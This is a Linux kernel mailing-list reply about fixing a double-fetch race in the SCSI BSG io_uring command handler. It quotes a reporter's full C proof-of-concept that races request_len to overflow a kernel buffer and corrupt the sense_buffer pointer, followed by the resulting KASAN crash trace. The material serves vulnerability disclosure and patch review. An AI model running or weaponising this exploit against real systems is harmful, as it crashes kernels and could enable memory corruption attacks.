Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE

Caleb Sander Mateos <[email protected]>
Newsgroups org.kernel.vger.io-uring,org.kernel.vger.linux-block,org.kernel.vger.linux-scsi
Message-ID <CADUfDZr6LJckoVt2NRfRt3Njs-WAqsg5-QnTDi6xbUDiO950Fw@mail.gmail.com>
On Wed, May 27, 2026 at 9:19 AM Rahul Chandelkar <[email protected]> wrote:
>
> On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote:
> > I don't think this is the right way to fix it, ->sqe should've been
> > stable upfront if this ends up happening. Can you share your poc with
> > me? Your trace has been trimmed down way too much to be useful.
>
> Agreed that a core-level copy before the inline callback would be the
> right fix and would eliminate the entire class for every uring_cmd
> driver. The per-driver copy was meant as a minimal backportable fix
> for the immediate scsi_bsg path.
>
> PoC and full trace below.
>
> --- PoC (poc_bsg_toctou.c) ---
>
> Build:  gcc -O2 -pthread -static -o poc poc_bsg_toctou.c
> Usage:  ./poc /dev/bsg/X
> Needs:  2+ CPUs, io_uring, /dev/bsg/* access
>
> The racer thread flips request_len between 16 (passes the <=32 bounds
> check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]).
> The overflow payload plants 0xdead000000001000 at the sense_buffer
> pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does
> memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the
> corrupted pointer.

Then the fix is to use READ_ONCE() to access the SQE fields, right?
Copying the entire SQE seems like unnecessary overhead. See
nvme_uring_cmd_io() for prior art.

Best,
Caleb

>
> Tested on v7.1-rc1, KASAN, QEMU virtio-scsi, 2 vCPUs.
>
> /*
>  * PoC: SCSI BSG uring_cmd TOCTOU heap buffer overflow
>  *
>  * Overflows scmd->cmnd[32] to corrupt sense_buffer pointer.
>  * On successful race, memset(corrupted_sense_buffer, 0, 96) in
>  * scsi_queue_rq() causes a kernel fault proving the vulnerability.
>  *
>  * Usage: ./poc /dev/bsg/X
>  * Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c
>  */
>
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <sched.h>
> #include <stdatomic.h>
> #include <stdint.h>
> #include <sys/mman.h>
> #include <sys/syscall.h>
> #include <linux/io_uring.h>
>
> struct bsg_uring_cmd {
>         uint64_t request;
>         uint32_t request_len;
>         uint32_t protocol;
>         uint32_t subprotocol;
>         uint32_t max_response_len;
>         uint64_t response;
>         uint64_t dout_xferp;
>         uint32_t dout_xfer_len;
>         uint32_t dout_iovec_count;
>         uint64_t din_xferp;
>         uint32_t din_xfer_len;
>         uint32_t din_iovec_count;
>         uint32_t timeout_ms;
>         uint8_t  reserved[12];
> };
>
> #define QUEUE_DEPTH   4
> #define OVERFLOW_LEN  128
> #define SAFE_LEN      16
>
> static atomic_int stop_flag = 0;
>
> static int sys_io_uring_setup(unsigned entries, struct io_uring_params *p)
> {
>         return syscall(__NR_io_uring_setup, entries, p);
> }
>
> static int sys_io_uring_enter(int fd, unsigned to_submit,
>                               unsigned min_complete, unsigned flags)
> {
>         return syscall(__NR_io_uring_enter, fd, to_submit, min_complete,
>                        flags, NULL, 0);
> }
>
> struct race_ctx {
>         volatile uint32_t *target;
>         int cpu;
> };
>
> static void *racer_thread(void *arg)
> {
>         struct race_ctx *ctx = arg;
>         cpu_set_t cpuset;
>
>         CPU_ZERO(&cpuset);
>         CPU_SET(ctx->cpu, &cpuset);
>         sched_setaffinity(0, sizeof(cpuset), &cpuset);
>
>         while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
>                 *ctx->target = OVERFLOW_LEN;
>                 *ctx->target = OVERFLOW_LEN;
>                 *ctx->target = OVERFLOW_LEN;
>                 *ctx->target = OVERFLOW_LEN;
>         }
>         return NULL;
> }
>
> int main(int argc, char **argv)
> {
>         struct io_uring_params params;
>         int ring_fd, bsg_fd;
>         void *sq_ring, *cq_ring, *sqe_ring;
>         unsigned *sq_head, *sq_tail, *sq_mask, *sq_array;
>         unsigned *cq_head, *cq_tail, *cq_mask;
>         size_t sqe_stride;
>         pthread_t racer;
>         struct race_ctx rctx;
>         int i, attempts = 0;
>         int max_attempts = 500000;
>
>         if (argc < 2) {
>                 fprintf(stderr, "Usage: %s /dev/bsg/X\n", argv[0]);
>                 return 1;
>         }
>
>         bsg_fd = open(argv[1], O_RDWR);
>         if (bsg_fd < 0) {
>                 perror("open bsg");
>                 return 1;
>         }
>
>         cpu_set_t cpuset;
>         CPU_ZERO(&cpuset);
>         CPU_SET(0, &cpuset);
>         sched_setaffinity(0, sizeof(cpuset), &cpuset);
>
>         memset(&params, 0, sizeof(params));
>         params.flags = IORING_SETUP_SQE128 | IORING_SETUP_CQE32;
>
>         ring_fd = sys_io_uring_setup(QUEUE_DEPTH, &params);
>         if (ring_fd < 0) {
>                 perror("io_uring_setup");
>                 return 1;
>         }
>
>         size_t sq_ring_sz = params.sq_off.array +
>                             params.sq_entries * sizeof(unsigned);
>         sq_ring = mmap(NULL, sq_ring_sz, PROT_READ | PROT_WRITE,
>                        MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING);
>
>         sq_head  = sq_ring + params.sq_off.head;
>         sq_tail  = sq_ring + params.sq_off.tail;
>         sq_mask  = sq_ring + params.sq_off.ring_mask;
>         sq_array = sq_ring + params.sq_off.array;
>
>         sqe_stride = 2 * sizeof(struct io_uring_sqe);
>         sqe_ring = mmap(NULL, params.sq_entries * sqe_stride,
>                         PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
>                         ring_fd, IORING_OFF_SQES);
>
>         size_t cqe_size = sizeof(struct io_uring_cqe) + 16;
>         size_t cq_ring_sz = params.cq_off.cqes +
>                             params.cq_entries * cqe_size;
>         cq_ring = mmap(NULL, cq_ring_sz, PROT_READ | PROT_WRITE,
>                        MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING);
>
>         cq_head = cq_ring + params.cq_off.head;
>         cq_tail = cq_ring + params.cq_off.tail;
>         cq_mask = cq_ring + params.cq_off.ring_mask;
>
>         unsigned char payload[OVERFLOW_LEN];
>         memset(payload, 0x41, sizeof(payload));
>         payload[0] = 0x12; /* INQUIRY opcode */
>
>         uint64_t bad_sense = 0xdead000000001000ULL;
>         memcpy(payload + 84, &bad_sense, 8);
>
>         printf("[*] SCSI BSG uring_cmd TOCTOU PoC\n");
>         printf("[*] Target: %s\n", argv[1]);
>         printf("[*] Overflow: %d -> %d bytes (sense_buffer at +84)\n",
>                SAFE_LEN, OVERFLOW_LEN);
>         printf("[*] Bad sense_buffer: 0x%lx\n", (unsigned long)bad_sense);
>
>         rctx.cpu = 1;
>
>         while (attempts < max_attempts) {
>                 unsigned tail = *sq_tail;
>                 unsigned idx = tail & *sq_mask;
>
>                 struct io_uring_sqe *sqe =
>                         (struct io_uring_sqe *)((char *)sqe_ring +
>                                                 idx * sqe_stride);
>                 memset(sqe, 0, sqe_stride);
>
>                 sqe->opcode = IORING_OP_URING_CMD;
>                 sqe->fd = bsg_fd;
>
>                 struct bsg_uring_cmd *cmd =
>                         (struct bsg_uring_cmd *)((char *)sqe + 48);
>
>                 cmd->request     = (uint64_t)(unsigned long)payload;
>                 cmd->request_len = SAFE_LEN;
>                 cmd->protocol    = 0;
>                 cmd->subprotocol = 0;
>                 cmd->max_response_len = 96;
>                 cmd->timeout_ms  = 1000;
>
>                 rctx.target = &cmd->request_len;
>
>                 if (attempts == 0) {
>                         pthread_create(&racer, NULL, racer_thread, &rctx);
>                         usleep(1000);
>                 }
>
>                 sq_array[idx] = idx;
>
>                 cmd->request_len = SAFE_LEN;
>                 __atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE);
>
>                 sys_io_uring_enter(ring_fd, 1, 1, IORING_ENTER_GETEVENTS);
>
>                 while (*cq_head != *cq_tail)
>                         __atomic_store_n(cq_head, *cq_head + 1,
>                                          __ATOMIC_RELEASE);
>
>                 attempts++;
>                 if (attempts % 50000 == 0)
>                         printf("[*] %d attempts...\n", attempts);
>         }
>
>         atomic_store(&stop_flag, 1);
>         pthread_join(racer, NULL);
>
>         printf("[!] %d attempts done. Check dmesg for crash.\n", attempts);
>
>         close(bsg_fd);
>         close(ring_fd);
>         return 0;
> }
>
> --- Full KASAN trace (untruncated) ---
>
> [    4.784469] ==================================================================
> [    4.784815] BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0
> [    4.785140] Write of size 96 at addr dead000000001000 by task poc/67
> [    4.785443]
> [    4.785529] CPU: 0 UID: 0 PID: 67 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(lazy)
> [    4.785532] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [    4.785534] Call Trace:
> [    4.785536]  <TASK>
> [    4.785537]  dump_stack_lvl+0x53/0x70
> [    4.785540]  kasan_report+0xce/0x100
> [    4.785543]  ? scsi_queue_rq+0x4a3/0x58a0
> [    4.785546]  kasan_check_range+0x105/0x1b0
> [    4.785549]  __asan_memset+0x23/0x50
> [    4.785550]  scsi_queue_rq+0x4a3/0x58a0
> [    4.785553]  ? __pfx_scsi_queue_rq+0x10/0x10
> [    4.785556]  ? scsi_mq_get_budget+0xa8/0x670
> [    4.785558]  blk_mq_dispatch_rq_list+0x462/0x42b0
> [    4.785561]  ? blk_mq_rq_ctx_init+0x57a/0xcc0
> [    4.785564]  ? __pfx_blk_mq_dispatch_rq_list+0x10/0x10
> [    4.785566]  ? __pfx__raw_spin_lock+0x10/0x10
> [    4.785569]  __blk_mq_sched_dispatch_requests+0x2e2/0x23a0
> [    4.785574]  ? __pfx___blk_mq_sched_dispatch_requests+0x10/0x10
> [    4.785580]  ? blk_mq_insert_request+0x402/0x13f0
> [    4.785582]  blk_mq_sched_dispatch_requests+0xec/0x270
> [    4.785584]  blk_mq_run_hw_queue+0x797/0x10e0
> [    4.785586]  scsi_bsg_uring_cmd+0x942/0x1570
> [    4.785588]  ? __pfx_scsi_bsg_uring_cmd+0x10/0x10
> [    4.785594]  io_uring_cmd+0x2f6/0x950
> [    4.785599]  __io_issue_sqe+0xb6/0xcc0
> [    4.785601]  io_issue_sqe+0xe5/0x22d0
> [    4.785606]  ? io_uring_cmd_prep+0x619/0xa10
> [    4.785609]  io_submit_sqes+0xb4a/0x4540
> [    4.785614]  __do_sys_io_uring_enter+0x148c/0x2f50
> [    4.785618]  do_syscall_64+0xf9/0x540
> [    4.785621]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
>
> Second fault (completion path reading corrupted sense_buffer):
>
> [    4.799563] KASAN: maybe wild-memory-access in range [0xdead000000001000-0xdead000000001007]
> [    4.800411] RIP: 0010:scsi_normalize_sense+0x47/0x480
> [    4.803461] R12: dead000000001000
> [    4.841254] Kernel panic - not syncing: Fatal exception in interrupt
>
> R12 holds the corrupted sense_buffer pointer (0xdead000000001000),
> confirming the overflow overwrote sense_buffer at the expected offset.
>
> The io_submit_sqes -> io_issue_sqe -> io_uring_cmd -> scsi_bsg_uring_cmd
> path shows this is the inline execution path where the SQE has not been
> copied to kernel memory yet.
>
> Rahul
>
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.